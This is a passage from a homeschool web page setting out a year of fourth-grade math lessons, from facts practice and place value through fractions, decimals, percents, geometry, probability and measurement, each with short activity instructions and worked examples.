here is a presentation to watch.)\n\nLesson 3\n\n1. Play with time.\n2. Identify the shapes.\n3. Read the bar graphs. This site will only let you do a certain number of problems a day. Just answer the problems until it tells you you have reached the limit.\n\nLesson 4* (Note that an asterisk * indicates that there is a worksheet on this lesson)\n\n1. Try to find the elapsed time.\n• This is the PDF packet of all the worksheets for the year. You can print them all at once or buy it as a workbook for convenience. The answer key is posted at the top of the page right above Lesson 1.\n3. If you can’t remember how to do this, you can watch this video before you practice with the worksheet.\n\nLesson 5\n\n1. Match the fractions.\n2. Complete the worksheet (Subtraction 2 digits regrouping) (answer key)\n3. If you can’t remember how to do this, you can watch this presentation before you complete the worksheet.\n\nLesson 6\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Complete this worksheet, Add and Subtract Decimals.\n\nLesson 7\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet.\n\nLesson 8\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet. (answer key)\n\nLesson 9\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet.\n\nLesson 10\n\n1. Practice rounding to the nearest ten.\n2. Practice rounding to the nearest ten with hundreds.\n3. Complete the worksheet. (answer key)\n\nPlace Value and Expanded Notation\n\nLesson 11\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Do this lesson on place value and expanded notation or expanded form. You don’t need to write the sentence at the end. You should never give your name out on the internet.\n\nLesson 12\n\n1. Do division facts. Choose division, level 1. Can you do more in 2 minutes?\n2. Read this lesson on place value and expanded form. Make sure you click to go to the next page.\n\nLesson 13\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Complete this worksheet on expanded form and standard form.\n\nLesson 14\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Complete the worksheet. You’ll need scissors and you’ll need the Lesson 15 worksheet as well. You won’t finish it today, but you’ll be writing down some numbers.\n3. Just for fun. Make REALLY BIG NUMBERS.\n\nLesson 15\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes?\n2. Complete the Lesson 15 worksheet (this is the same one that was printed on day 14).\n\nLesson 16\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Watch this lesson: “place value house.”\n3. Complete the worksheet.\n4. Write a digit in each room in each house. Line up the houses and read your number. You read the numbers in a regular way (example: for 514 you say “five hundred fourteen”) and then you put on the “last name” (example: “thousand,” or “million”).\n\nLesson 17\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Complete the worksheet.\n3. While you work, listen to the big number song. Watch the end!\n\nLesson 18\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet. (answer key)\n• 47, 531 The answer would be thousands.\n\nLesson 19\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Complete the worksheet and write the bigger numbers in expanded form. (answer key)\n\nLesson 20\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet. (answer key)\n\nMental Math\n\nLesson 21 (Materials: math notebook to write down daily mental math answers)\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Get out your math notebook. Write Lesson 21. You are going to be doing mental math (math in your head). You are only to write the answers. Do not write the questions. I will read the questions to you. You will write your answers underneath Lesson 21. If you get stuck and haven’t answered when I start the next question, pay attention to what I’m saying and just move on to the next question.\n3. Watch this presentation. Learn about mental math.\n\nLesson 22\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n3. Watch this presentation. Learn about mental math. (Yes, there’s a typo in the problem, but you can still learn what it’s showing you.)\n\nLesson 23\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n3. Watch this presentation. Follow the directions. Learn some mental math techniques.\n\nLesson 24\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n3. Watch this presentation. Follow the directions. Learn about mental math. (It says there is another example, but alas, there is not.)\n\nLesson 25\n\n1. Complete the mental math worksheet. Remember, you are supposed to solve them in your head!\n• Expanded form 346 = 300 + 40 + 6\n• Rounding 38 is near 40; remember to take 2 off of the answer.\n\nMultiplying Bigger Numbers\n\nLesson 26\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Watch this presentation on multiplying bigger numbers.\n5. Complete the multiplication worksheet. (answer key)\n6. You can look at the presentation again if you need another reminder.\n\nLesson 27\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. You are going to watch two videos with multiplication problems. Copy down each problem and write down the solution along with the video.\n5. Watch this video on multiplying.\n6. Watch this video on multiplying. Make sure you write down each problem and solve all the steps along with the video.\n\nLesson 28\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n5. Complete the worksheet, multiplication double digits. (answer key)\n\nLesson 29\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Complete the worksheet, multiplication double digits. (answer key)\n\nLesson 30\n\n1. Play the place value game. Choose level 2 and place value. (Turn off your ad blocker.)\n• If you are using a mobile device, this activity will send you to their paid app. Set your browser to Desktop to try to bypass that. Directions here\n2. Play this rounding game. Round to the nearest ten with two- or three-digit numbers.\n3. Can you do level 3 at the expert level? Count the money.\n\nGraphs and Charts\n\nLesson 31\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Create frequency tables that show how many of each thing there are.\n• You are going to write in the number that shows how frequently something appears.\n• Here’s an example. Red Red Yellow Blue\n• In the list above, red has a frequency of two. Yellow and blue both have a frequency of one. Green has a frequency of zero.\n5. Make a survey of people or things in your house. You can ask everyone at your home a question and tally the results, or you could count things like doors, apples, etc. and tally the numbers. Make a graph. Print it if you can. Make sure you include all of the labels.\n\nLesson 32\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Can you read the frequency charts?\n\nLesson 33\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Read about different types of frequency diagrams. Keep clicking on the arrow to read all of the pages.\n\nLesson 34\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Click on Step-by-Step to learn about double line graphs. Make sure you do all of the parts. Click on “show me,” “next,” and each of the tabs.\n5. Go back to the same page and click on “test yourself.”\n\nLesson 35\n\n1. Play Best Friend Math. Use paper if you need to, but try and figure out the answers in your head. How many friends did you make?\n2. Read the clocks. Drag the puzzle picture piece onto the correct clock. If you are correct, it will stay in place.\n\nMultiplying Bigger Numbers\n\nLesson 36\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Read this lesson on multiplying with hundreds and watch the first video.\n5. Complete this worksheet on multiplying with hundreds. (answer key)\n6. When you are done, check your answers. Redo any problems you got wrong.\n\nLesson 37\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Read this lesson on multiplying with hundreds and watch the second video.\n5. Click on the questions at the bottom and answer all ten.\n\nLesson 38\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Complete the worksheet on multiplying hundreds.\n\nLesson 39\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n7. Give this worksheet to a parent to put in your portfolio.\n\nLesson 40\n\n1. Try this activity to review using data.\n2. Play the rounding game. Choose rounding to the nearest hundred.\n3. Find the standard form of the numbers in expanded notation.\n\nLesson 41\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n5. Complete the worksheet, multiplying practice 1.\n\nLesson 42\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. How would you add 88 + 8 in your head? You could add 8 + 8 + 80. Or you could add 88 + 2 + 6.\n5. Complete the worksheet, multiplying practice 2.\n\nLesson 43\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. How would you subtract 20 – 3 in your head? You could count down from 20. Or you could think 10 + 10 – 3.\n5. Complete the worksheet, multiplying practice 3.\n\nLesson 44\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Complete the worksheet, multiplying practice 4.\n\nLesson 45\n\n1. Do the worksheet, Estimation with Multiplication. You are going to estimate the solution by rounding the top number to the nearest hundred and the bottom number to the nearest ten. Then you multiply the first digits together. Write down that number. Then you count up how many zeros are in the problem and write them in the answer. Here’s an example:\n• 458 x 34 = 500 x 30 = 15,000\n• In the US, we put a comma after every three digits, starting on the far right with the ones. They don’t do that everywhere. I remember being confused when I was first living in Macedonia because in writing numbers they use decimal points where we would use commas, and commas where we would use decimal points. That’s how they do it in Europe.\n\nLesson 46\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Complete the worksheet.\n\nWord Problems\n\nLesson 47\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n\n5. Multiply and add to find the right amount. Click on Next to get the first question. You will see something like 10 cents and 10 bananas and 2 cents and 2 apples. You would multiply 10 x 10 to get the cost of the bananas and 2 x 2 to get the cost of the apples. Add 100 + 4 and enter that amount by clicking on the blank box and typing in the number. Click on Check to check your answer. It will show the correct answer. It will be green if you are right; red if you are wrong. Once you get eight correct, it will show “Game Over.”\n\nLesson 48\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\n4. Solve the multiplication and division word problems.\n\nLesson 49\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\n4. Solve the word problems.\n\nLesson 50\n\n1. Play the math game to practice all facts. Choose each type one at a time. It’s a race.\n2. Solve the word problems. Make sure you write the label on your answer: 12 apples, \\$4.50, 6 children, etc.\n\nFractions\n\nLesson 51\n\n2. In the review it pointed out that one half, 1/2, is the same as two fourths, 2/4. What else is it the same as? If you had a pizza with 8 slices and you ate half, how many slices did you eat? Four! Four is half of eight. One way to read fractions is 4 out of 8.\n3. These are all the same amount.\n• one half\n• five tenths\n• five out of ten\n• 0.5\n• 50%\n4. 1/2 , 2/4 , 3/6 , 4/8 , 5/10 are called equivalent fractions. Equivalent means equal. Those fractions are all one half. The top number is half of the bottom number. The denominator is two times the numerator.\n5. When we change an equivalent fraction to its lowest terms, it’s called simplifying or reducing the fraction. That just means we take 5/10 (five tenths) and call it 1/2 (one half). If you ate 5 out of the 10 cookies, you ate one half of them. 5/10 and 1/2 are the same amount.\n6. One way to find an equivalent fraction is to multiply or divide the top and bottom numbers (the numerator and the denominator) by the same amount. Watch this presentation.\n7. Choose equivalent fractions. Play with it to make equivalent fractions. How are they made?\n8. Choose Reduce Fractions. You are going to find an equivalent fraction by dividing the top and bottom by the same number. If the numerator and denominator are both even, then divide by 2. Then see if you can do it again. If the numerator and denominator both end in either 0 or 5, then divide both by 5. If the numerator or denominator could both be divided by 3, then divide both. You are finding equivalent fractions.\n\nLesson 52\n\n1. Identify the fraction that doesn’t match the picture. One fraction shows the fraction in the picture. One is an equivalent fraction. One doesn’t belong. Which one?\n2. Match the equivalent fractions. Choose Level 1. I suggest slow relaxed mode.\n• If the fraction is 1/3, then look for a picture that shows one out of three parts colored in.\n• It may have 3 out of 9 squares colored in, but notice that it has one out of three lines colored in. 1/3 and 3/9 are equivalent fractions.\n• 1/3 is 3/9 reduced.\n\nLesson 53\n\n1. Compare the fractions. You compare them by looking at their numerators.\n2. Which fraction is the largest amount? Choose level 10.\n• 1/2 is greater than 2/5 because…\n• 1/2 equals 5/10 (multiply top and bottom by 5)\n• 2/5 equals 4/10 (multiply top and bottom by 2)\n• 5 > 4\n• You can also try to picture which is bigger. One of out five slices of a circle, one fifth, is not as much as three out of four slices of a circle.\n\nLesson 54\n\n1. Complete the worksheet.\n\nLesson 55\n\nLesson 56\n\nLesson 57\n\n1. Read about mixed numbers or mixed fractions and do the questions.\n\nLesson 58\n\n1. When you work with fractions, you need to always reduce your answer. That means that you want your answer to have the smallest numbers possible. You may add to get 3/9 as your answer. But then you should stop and see if there is an equivalent fraction with smaller numbers. If the denominator and numerator are both even, then you can divide the top and bottom number each by 2 in order to reduce it. Then check to see if you can reduce it more! 3/9 can be reduced to 1/3 by dividing the numerator and denominator both by 3.\n2. Learn about reducing, or simplifying fractions.\n3. Choose reduce fractions.\n4. Remember that you ALWAYS should reduce your answers when working with fractions.\n5. Complete the worksheet. (answer key)\n\nLesson 59\n\n1. Complete the worksheet. (answer key)\n\nLesson 60\n\n1. Complete the worksheet. (answer key)\n\nLong Division\n\nLesson 61* (Materials: yarn and file folder or poster board or some other strong paper, see picture)\n\n2. Print out the long division lapbook. There are five pages. Here are the directions and a picture of how it will look.\n3. Today you can cut out the quotient, dividend, and divisor piece, as well as the long, skinny rectangle with the steps of long division. Attach the pieces to whatever you are using for your lapbook.\n\nLesson 62\n\n2. Today cut out and fill in the First Thing cat piece and Steps 2-4. Attach them to your lapbook. (You can find the four steps in the link above in #1: divide, multiply, subtract, bring down.)\n\nLesson 63\n\n1. Watch the study jam on multiplication and division. Then test yourself. (Note! There are two pictures missing. The first missing picture is two rows of six dots each. The second missing picture is two rows of three flowers.)\n2. Cut out and fill in the answers to the smiley face and Then What. Attach them to your lapbook.\n\nLesson 64\n\n1. Cut out all of the numbers. Make sure you cut out the blank square and leave it attached to each number. You are going to fold it in half to hang it on the yarn. Attach the yarn as described in the directions. Put the numbers in the number pocket and attach it to you lapbook.\n\nLesson 65\n\n1. Divide 84 by each of the divisors.\n2. Do the study jam on single-digit division. Go through the lesson step by step and then make sure you test yourself.\n\nLesson 66\n\n1. Divide. Do five.\n2. Divide. Do five more.\n\nLesson 67\n\nLesson 68\n\n1. Watch the study jam, step by step, on double-digit division. Then test yourself.\n\nLesson 69\n\nLesson 70\n\nDecimals\n\nLesson 71\n\n1. Place value review — Read the page.\n\nLesson 72\n\n1. Read about the relationship between fractions, decimals and percents. Don’t do the questions.\n2. Do the study jam about dividing decimals.\n\nLesson 73\n\n1. Watch the video on changing fractions into decimals and answer the questions.\n2. Now divide to find the decimal form of 3/5 and 3/4. (answers: 0.6, 0.75)\n\nLesson 74\n\n1. Match the fractions and decimals.\n2. Do it again.\n\nLesson 75\n\n1. Do ten of the decimal problems. Match the decimal to the number in the top yellow bar.\n2. Always remember to reduce your fractions. Simplify!\n3. Add and subtract the fractions.\n\nLesson 76\n\nLesson 77\n\nLesson 78\n\nLesson 79\n\n1. Complete, multiplying decimals.\n\nLesson 80\n\n1. Complete, multiplying decimals.\n\nLesson 81\n\n1. Add and subtract the decimals. Choose addition, decimals, and level 1. Once you’ve gotten confetti two times, then click to go back and choose decimals, subtraction, level 1. Get that confetti!\n\nLesson 82\n\n1. Subtract the decimals as if you were finding the amount of change.\n• Choose subtraction, money, and level 1.\n\nLesson 83\n\n1. Play cash out. Choose “easy,” then “medium.” Click on “NO” for “show change amount.” Subtract or count on to find the amount. Can you use mental math?\n\nLesson 84\n\n2. Refer to your lapbook if you need help remembering the steps to division.\n\nLesson 85\n\n1. Look at the different ways to write division problems. (Sometimes you may see 28 over 7 with a line in between, like a fraction, instead of 28/7. This means the same thing.)\n2. Write the division problems in different formats, dividing in different formats. (answer key)\n\nLesson 86\n\n1. Complete the worksheet, comparing fractions and decimals. Divide the fractions to convert them into decimals and then compare the decimals.\n• Hint: You only need to divide as far as you need to in order to know which is the bigger fraction. Then write in the comparison symbol.\n\nLesson 87\n\n1. Choose multiplication. Get five correct on level 4.\n\nLesson 88\n\n1. Divide. Do five questions.\n2. Divide. Do five questions. These will have a remainder. Write it by the R.\n\nLesson 89\n\n1. Read all THREE pages about adding fractions and do the problems. Notice how they simplify (reduce the fractions), writing an equivalent fraction for the answer.\n2. Add fractions. Choose “Add Fractions” and Click on “Same Denominator?” at the bottom.\n\nLesson 90\n\n1. Death to Decimals (use arrow keys to move and space bar to shoot)\n2. Visual Fractions — Make sure you scroll down and read the directions!\n\nLesson 91\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n• When you add and subtract, the denominator doesn’t change.\n• When you multiply and divide, you use the numerator and the denominator.\n\nLesson 92\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Read about multiplying fractions and answer the questions. You have to go on to the next page.\n5. Complete the long division problems.\n\nLesson 93\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\nLesson 94\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Complete the worksheet.\n\nLesson 95\n\n1. Read about dividing fractions by whole numbers, just page one. You should copy down one of the problems and try it for yourself.\n2. Complete this worksheet, dividing fractions and whole numbers. Remember that you can write a whole number as a fraction. For example, 2 is 2/1 and 8 is 8/1 . (answer key)\n\nAverages\n\nLesson 96\n\n1. Learn about the mean, median, and mode.\n2. Practice.\n\nLesson 97\n\n1. Read about the mean, median, mode, and range. Then do the activities at the bottom of the page. Don’t click on the top video/activity.\n\nLesson 98\n\n1. Mean, median, and mode\n2. Divide the fractions.\n\nLesson 99\n\n1. Play Mean, Median, Mode.\n2. Play Mean, Median, Mode, Range. Play until it gives you your data set.\n\nLesson 100\n\n1. Add and subtract the money to make change. Under the activity click on Give Change.\n2. Round to the nearest…\n\nPercents\n\nLesson 101\n\n2. Now find the percent of a number by multiplying it by a decimal or fraction.\n• 50% = .5 or 50/100, which is one half!\n• What’s 100%? 100/100, which is…?\n• Choose 50% and 100% from the dropdown options.\n• When you are good with how easy that is, click on exit and click on 25% or 10% and play again.\n\nLesson 102\n\n1. I know you’ve seen this before, but read about fractions, decimals, and percentages and answer the questions.\n\nLesson 103\n\n1. Change fractions into percentages.\n\nLesson 104\n\nLesson 105\n\n1. Match the fractions and decimals. Figure them out.\n2. Watch the video on decimal place value.\n\nWord Problems\n\nLesson 106\n\n1. Can you figure out these prices?\n2. Here is some help.\n• A 20% tip on a \\$10 bill is \\$10 x 0.20 = \\$2.00.\n• A 30% discount on a \\$100 item is \\$100 x 0.30 = \\$30 off. The final price would be \\$100 – \\$30.\n\nLesson 107\n\n1. Solve the story problems.\n\nLesson 108\n\n1. Solve the word problems.\n\nLesson 109\n\n1. Solve the word problems. Only use the information you need!\n\nLesson 110\n\n1. Solve the word problems. It will show you step by step how to solve it.\n\nRounding Decimals\n\nLesson 111\n\n1. Play the place value game. Choose level 3 and place value.\n\nLesson 112\n\n1. Play the ducks decimal place value game.\n2. Play the pirate decimal place value game.\n3. Play some games.\n\nLesson 113\n\n1. Play the rounding game\n2. Play Arithmetic.\n• Choose each addition, subtraction, multiplication, and division.\n• Choose level 1 for each.\n• See the confetti fall before you switch to the next type.\n3. Play some games.\n\nLesson 114\n\n1. Quick! Add the decimals. Combine two bones to make the target number.\n2. Round the decimals. Follow the directions each time at the top of the screen. It doesn’t always ask you to do the same thing.\n3. Play some games.\n\nLesson 115\n\n1. Play with the decimal number line. Click on decimal and then the different options. Read the number line! How do those numbers fit together?\n2. Now, play the decimal detective game. Choose the sergeant mode.\n\nTime\n\nLesson 116\n\n1. Go through all four operations, each until you see confetti. Choose level 2. Once you see confetti, you can click to go back and make a new choice (in the bottom left corner).\n2. Play the time traveler game.\n\nLesson 117\n\n1. Solve the word problems.\n2. Practice elapsed time.\n\nLesson 118\n\n1. Solve the word problems.\n2. Practice elapsed time.\n\nGeometry (and Measurement)\n\nLesson 119\n\n1. Solve the word problems.\n2. Watch the shape song. Yes, I know it starts with a circle, but be patient.\n\nLesson 120()\n\n1. Solve the word problems. (Take a screen shot of your correct answer and print it out for your portfolio.)\n3. () Even if you don’t make it, take a look at this dodecahedron net. Nets are 3D images opened up and laid flat. You can print this and cut and paste it back into its 3D shape.\n\nLesson 121\n\n1. Solve the word problems.\n2. Play 3D shape explorer.\n\nLesson 122\n\n1. Read about the properties of the 3-D shape and do the activities UNDER the reading. Don’t use the video on the top of the page.\n2. Here are some shapes labeled. NamesProperties\n3. Count the coins. Choose all four types.\n\nLesson 123\n\n1. What is a line of symmetry? Then click on the link there for reflection symmetry.\n2. Here are some examples. Skip the video at the top. Look at the pictures and read the description, and then try the activity at the bottom of the page.\n3. Identify the lines of symmetry.\n\nLesson 124\n\n1. Learn about the types of angles.\n2. Identify the angle types.\n\nLesson 125\n\n1. Identify the angles.\n\nLesson 126\n\n2. Take a screen shot to include in your portfolio.\n\nLesson 127\n\n1. Learn about perimeter and area.\n2. Find the area and perimeter. Click Game and then choose level 2.\n\nLesson 128\n\n1. Measure with a ruler. Learn from your mistakes. The numbers mark the centimeters. The little lines are millimeters.\n\nLesson 129\n\n1. Create the shape that gives you the perimeter and area shown. Make it half of each color, so that for every block of one color you put on, you put on one of the other.\n2. Drag and drop to make the shapes. Click Game and choose level 5.\n\nLesson 130\n\n1. Design a zoo. Click and drag (don’t let go until you’ve made a rectangle) to make the enclosure have the right area.\n2. Pour the drinks. Directions:\n2. Select the cup size. Select the soda type. Select the container. Repeat for each item.\n3. When your order is complete, click Send.\n4. Repeat with each new order.\n5. If the client order is blank, click Send to get a new order.\n6. Continue until the 5-minute time limit is up.\n\nReview\n\nLesson 131\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes?\n2. Choose addition. Get five correct on level 4.\n\nLesson 132\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Choose subtraction. Get five correct on level 4.\n\nLesson 133\n\n1. Do multiplication facts. Choose multiplication, level one. If it’s too easy, choose level two. How many can you get correct in 2 minutes?\n2. Choose multiplication. Get five correct on level 4.\n\nLesson 134\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Divide. Do five.\n3. Divide. Do five with remainders.\n\nLesson 135\n\n1. Play with time a little. Skip the video but read and scroll down to complete the three activities.\n• Label the times.\n• Change the PM times to 24 hours by adding the 12 hours that has passed in the AM. 1PM is the 12 hours of the AM + 1 hour passed in the PM = 12 + 1 = 13:00.\n• Label the clock with Roman numerals.\n\nFractions\n\nLesson 136\n\n1. Play this factors game. Factors are the numbers that can be divided evenly into a number with no remainder. For example, you can divide 24 by 2 and 3 and 4 and 6 and 8 and 12. So that means that the numbers 2, 3, 4, 6, 8, 12 are all factors of 24. The numbers 5 and 7, for example, are NOT factors of 24 because you can’t divide 24 by 5 and get a whole number. You would get a decimal, or have a remainder.\n\nLesson 137\n\nLesson 138\n\n1. Fraction workshop — Click on “add fractions with the same denominators.” Do 10.\n2. You need to simplify your answers. Do you remember what that means? It means to find the equivalent fraction that uses the lowest numbers. You do that by dividing the numerator and denominator (the top and bottom) by the same number. If the top and bottom numbers are both even, then you know you can divide them both by two to make them smaller.\n3. Do ten more using mixed fractions with the same denominator.\n\nLesson 139\n\n1. Fraction workshop — Click on “subtract fractions with like denominators,” ones that are the same.\n2. Complete ten.\n\nLesson 140\n\n1. Fraction workshop — Click on “subtract with mixed fractions and with like denominators.”\n2. Complete ten.\n\nLesson 141\n\n1. Print and complete this worksheet, adding three fractions. If it is an improper fraction (the top number is bigger than the bottom number), divide the fraction to make it a mixed number. Simplify the fraction by finding the equivalent fraction with the lowest numbers. Look at the answer to the first problem to see how to write the answer.\n\nLesson 142\n\n1. Read about adding and subtracting fractions when the denominators are different. Make sure you keep going to the next page and do the practice problems.\n\nLesson 143\n\nLesson 144\n\nLesson 145\n\n1. Round the numbers.\n2. Choose any 3-digit category.\n\nLesson 146\n\nLesson 147\n\n1. Subtract fractions.\n\nLesson 148\n\n1. Multiply fractions.\n2. Multiply mixed numbers. You have to make them into improper fractions first. Here’s how.\n\nLesson 149\n\n1. Divide fractions.\n2. Divide mixed numbers. You have to make them into improper fractions first and then find the reciprocal of the second number. Here’s how.\n\nLesson 150\n\n1. Estimate to blast the asteroids. Choose “Estimate Sums.”\n\nLesson 151\n\n1. Complete the two pages of review.\n\nLesson 152\n\n1. Complete the two pages of review. (answer key)\n\nLesson 153\n\n1. Complete the two pages of review.\n\nLesson 154\n\n1. *Complete the two pages of review. (answer key)\n\nLesson 155\n\n1. Do you remember expanded notation?\n2. Play probability.\n\nOrder of Operations\n\nLesson 156\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n\nLesson 157\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Watch the order of operation video.\n3. Use order of operations to save the day.\n• Scroll down and click on a character.\n• Click on the two numbers and the operation that you should solve first.\n\nLesson 158\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Save the day! Make sure you read the instructions. (If you can’t see the game, after you read the instructions, try this link.)\n\nLesson 159\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Add and subtract fractions. Add and then subtract. You can use unlike denominators.\n\nLesson 160\n\nCoordinate Plane\n\nLesson 161\n\n1. Choose addition. Get five correct on level 4.\n2. Learn about the coordinate plane.\n\nLesson 162\n\n1. Choose subtraction. Get five correct on level 4.\n2. Find the house. Click on Guess Mode so that you can check your answer. Type in the coordinates of the house.\n\nLesson 163\n\n1. Choose multiplication. Get five correct on level 4.\n2. Get to the target without hitting the mines. You will have to enter coordinates a few times to get there. What’s your first move?\n\nLesson 164\n\n1. Divide. Do five questions.\n2. Can you do it with negative numbers? Read the labels. Whack a mole.\n\nLesson 165\n\n1. Stock the shelves.\n2. Write the numbers. How well can you spell?\n\nProbability\n\nLesson 166\n\n2. Read about probability. Skip the video at the top and answer the three questions by clicking on the three pictures under the reading. The darker portions will block the putt from going through. The light areas will allow the ball to go through. There are 6 spaces on the windmill. A one out of six chance would be one light out of the six triangles. A one out of two chance would be one light for every two triangles.\n\nLesson 167\n\n1. Mental math\n3. Probability spinner – Change the spinner to four sectors (under “spinner”). Watch the percentages change as you change the sectors. That’s the probability that the spinner will land on that color.\n4. Learn about probability as a fraction. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 168\n\n1. Mental math\n3. Learn about finding probability. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 169\n\n1. Mental math\n3. Learn about a tool to help you guess an outcome. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 170\n\n1. Mental math\n3. Learn about making predictions. Do the Video, Vocabulary terms, and Test.\n\nMeasurement\n\nLesson 171\n\n1. Mental math\n3. Learn about different units of measurement. Do the Video, Vocabulary terms, and Test.\n\nLesson 172\n\n1. Mental math\n3. Learn about customary units of length. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 173\n\n1. Mental math\n3. Learn about tools of measurement. Do the Video, Karaoke, Vocabulary, and Test.\n\nLesson 174\n\n1. Mental math\n3. Learn about measuring length. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nLesson 175\n\n1. Mental math\n3. Learn about finding volume. Do the Video, Karaoke, Vocabulary, and Test.\n\nLesson 176\n\n1. Learn about telling temperature. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nTime\n\nLesson 177\n\n1. Learn about telling time. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nLesson 178\n\n1. Convert units of time. Do the Step by Step and the Test.\n\nLesson 179\n\n1. Practice with elapsed time. Do the Step by Step, Vocabulary, and Test.\n\nLesson 180\n\n1. Play a game!\n2. Can you escape level 4? 🙂\n\nCongratulations on finishing fourth level math!\n\n## Donate/Say Thanks\n\nSUMMER SCHOOL – Make sure you know those facts! Use flashcards, our facts practice workbooks, our online facts practice page, and programs like xtramath.\n\nYou might want to consider beginning Math 5/6 now. Take a look at the course. It begins with review which would work over the summer. 🙂 Just take it slowly." ]	[ null, "https://i0.wp.com/allinonehomeschool.com/wp-content/uploads/2016/05/printables-cover.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8680849,"math_prob":0.8388809,"size":42930,"snap":"2022-27-2022-33","text_gpt3_token_len":10374,"char_repetition_ratio":0.19950613,"word_repetition_ratio":0.23242486,"special_character_ratio":0.25783834,"punctuation_ratio":0.14525203,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99567515,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-03T12:27:45Z\",\"WARC-Record-ID\":\"<urn:uuid:09572647-565c-4e86-847e-95d7418328d6>\",\"Content-Length\":\"228132\",\"Content-Type\":\"application/http; 